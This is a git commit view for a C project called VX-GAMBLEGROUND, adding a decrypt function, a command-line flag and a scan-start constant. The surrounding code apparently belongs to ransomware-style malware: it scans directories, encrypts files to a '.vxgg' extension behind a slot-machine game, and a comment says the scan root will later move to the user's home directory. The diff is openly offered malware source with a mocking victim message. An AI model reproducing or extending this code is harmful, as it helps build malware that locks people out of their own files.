summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
author@syxhe <https://t.me/syxhe>2024-09-02 00:08:05 -0500
committer@syxhe <https://t.me/syxhe>2024-09-02 00:08:05 -0500
commit92b2b42b0976a2849e0fd25cbd4ceedebb9b0a5e (patch)
tree839434c1b0a46297ecd0ab9c8bf3c5a68c17121a
parent7129f43cff2937a83419f61dc82932c1a2d817fa (diff)
Implement decrypt flag
-rw-r--r--src/VX-GAMBLEGROUND.c55
-rw-r--r--src/VX-GAMBLEGROUND.h3
2 files changed, 57 insertions, 1 deletions
diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c
index 4afa8cd..1e508a2 100644
--- a/src/VX-GAMBLEGROUND.c
+++ b/src/VX-GAMBLEGROUND.c
@@ -201,6 +201,45 @@ int scanundencrypt(void *passed) {
201 return 0; 201 return 0;
202} 202}
203 203
204int decrypt(void *args) {
205 struct sande *pass = (struct sande *)args;
206 pass->scanned = scanfiles(pass->STARTPATH, pass->cmp);
207 if(pass->scanned == NULL)
208 error(1, 0, "[VX-GAMBLEGROUND] Filescan broke");
209
210 int err = REG_NOERROR;
211 regex_t encext;
212 if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE)))
213 error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err);
214
215 int fd = -1;
216 for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) {
217 if(p->fullpath == NULL)
218 continue;
219
220 if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH)
221 continue;
222
223 fd = open(p->fullpath, O_RDWR);
224 if(fd < 0)
225 continue;
226 passencblock(fd, pass->passphrase);
227 close(fd);
228
229 // Once again my problems are solved by allocating shit instead of using static shit
230 char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname));
231 strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg")));
232 rename(p->fullpath, newname);
233 free(newname);
234 }
235
236 endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized
237 error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!");
238 exit(0);
239
240 return 0;
241}
242
204int main(int argc, char *argv[]) { 243int main(int argc, char *argv[]) {
205 struct arguments args = { 244 struct arguments args = {
206 .inputpass = NULL, 245 .inputpass = NULL,
@@ -221,9 +260,21 @@ int main(int argc, char *argv[]) {
221 } 260 }
222 261
223 262
263 // Deal with decrypting flag
264 if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) {
265 struct sande pass = {
266 .cmp = alphasort,
267 .passphrase = passphrase,
268 .scanned = NULL,
269 .STARTPATH = FILESCAN_START
270 };
271 decrypt((void*)&pass);
272 return 0;
273 }
274
224 struct bullshit stuff; 275 struct bullshit stuff;
225 struct nodelist *files = NULL; 276 struct nodelist *files = NULL;
226 struct sande scanner = {.cmp = alphasort, .STARTPATH = "./", .scanned = files, .passphrase = passphrase}; 277 struct sande scanner = {.cmp = alphasort, .STARTPATH = FILESCAN_START, .scanned = files, .passphrase = passphrase};
227 strncpy(stuff.passphrase, passphrase, PHRASESIZE); 278 strncpy(stuff.passphrase, passphrase, PHRASESIZE);
228 thrd_t slots, filescan; 279 thrd_t slots, filescan;
229 280
@@ -236,5 +287,7 @@ int main(int argc, char *argv[]) {
236 thrd_join(slots, NULL); 287 thrd_join(slots, NULL);
237 thrd_join(filescan, NULL); 288 thrd_join(filescan, NULL);
238 289
290
291
239 return 0; 292 return 0;
240} \ No newline at end of file 293} \ No newline at end of file
diff --git a/src/VX-GAMBLEGROUND.h b/src/VX-GAMBLEGROUND.h
index 66e9383..6d379c2 100644
--- a/src/VX-GAMBLEGROUND.h
+++ b/src/VX-GAMBLEGROUND.h
@@ -11,6 +11,9 @@ struct arguments {
11#define SKIPSLOTS 0x1 11#define SKIPSLOTS 0x1
12#define SKIPENC 0x2 12#define SKIPENC 0x2
13 13
14// This will later be changed to "~/"
15#define FILESCAN_START "./"
16
14#define PHRASESIZE 32 17#define PHRASESIZE 32
15int genphrase(char *phrase, size_t phrasesize); 18int genphrase(char *phrase, size_t phrasesize);
16 19